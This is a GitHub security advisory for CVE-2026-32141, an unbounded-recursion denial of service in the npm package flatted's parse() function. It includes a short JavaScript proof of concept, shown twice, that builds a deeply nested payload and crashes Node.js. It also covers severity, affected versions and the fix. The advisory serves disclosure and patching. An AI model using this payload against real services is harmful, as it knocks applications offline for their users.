GHSA-25H7-PFQ9-P65F

Vulnerability from github – Published: 2026-03-13 15:40 – Updated: 2026-03-13 15:40
VLAI?
Summary
flatted vulnerable to unbounded recursion DoS in parse() revive phase
Details

Summary

flatted's parse() function uses a recursive revive() phase to resolve circular references in deserialized JSON. When given a crafted payload with deeply nested or self-referential $ indices, the recursion depth is unbounded, causing a stack overflow that crashes the Node.js process.

Impact

Denial of Service (DoS). Any application that passes untrusted input to flatted.parse() can be crashed by an unauthenticated attacker with a single request.

flatted has ~87M weekly npm downloads and is used as the circular-JSON serialization layer in many caching and logging libraries.

Proof of Concept

const flatted = require('flatted');

// Build deeply nested circular reference chain
const depth = 20000;
const arr = new Array(depth + 1);
arr[0] = '{"a":"1"}';
for (let i = 1; i <= depth; i++) {
  arr[i] = `{"a":"${i + 1}"}`;
}
arr[depth] = '{"a":"leaf"}';

const payload = JSON.stringify(arr);
flatted.parse(payload); // RangeError: Maximum call stack size exceeded

Fix

The maintainer has already merged an iterative (non-recursive) implementation in PR #88, converting the recursive revive() to a stack-based loop.

Affected Versions

All versions prior to the PR #88 fix.

Severity ?
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "flatted"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.4.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-32141"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-674"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-13T15:40:42Z",
    "nvd_published_at": "2026-03-12T18:16:25Z",
    "severity": "HIGH"
  },
  "details": "## Summary\n\nflatted\u0027s `parse()` function uses a recursive `revive()` phase to resolve circular references in deserialized JSON. When given a crafted payload with deeply nested or self-referential `$` indices, the recursion depth is unbounded, causing a stack overflow that crashes the Node.js process.\n\n## Impact\n\nDenial of Service (DoS). Any application that passes untrusted input to `flatted.parse()` can be crashed by an unauthenticated attacker with a single request.\n\nflatted has ~87M weekly npm downloads and is used as the circular-JSON serialization layer in many caching and logging libraries.\n\n## Proof of Concept\n\n```javascript\nconst flatted = require(\u0027flatted\u0027);\n\n// Build deeply nested circular reference chain\nconst depth = 20000;\nconst arr = new Array(depth + 1);\narr[0] = \u0027{\"a\":\"1\"}\u0027;\nfor (let i = 1; i \u003c= depth; i++) {\n  arr[i] = `{\"a\":\"${i + 1}\"}`;\n}\narr[depth] = \u0027{\"a\":\"leaf\"}\u0027;\n\nconst payload = JSON.stringify(arr);\nflatted.parse(payload); // RangeError: Maximum call stack size exceeded\n```\n\n## Fix\n\nThe maintainer has already merged an iterative (non-recursive) implementation in PR #88, converting the recursive `revive()` to a stack-based loop.\n\n## Affected Versions\n\nAll versions prior to the PR #88 fix.",
  "id": "GHSA-25h7-pfq9-p65f",
  "modified": "2026-03-13T15:40:42Z",
  "published": "2026-03-13T15:40:42Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/WebReflection/flatted/security/advisories/GHSA-25h7-pfq9-p65f"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-32141"
    },
    {
      "type": "WEB",
      "url": "https://github.com/WebReflection/flatted/pull/88"
    },
    {
      "type": "WEB",
      "url": "https://github.com/WebReflection/flatted/commit/7eb65d857e1a40de11c47461cdbc8541449f0606"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/WebReflection/flatted"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "flatted vulnerable to unbounded recursion DoS in parse() revive phase"
}


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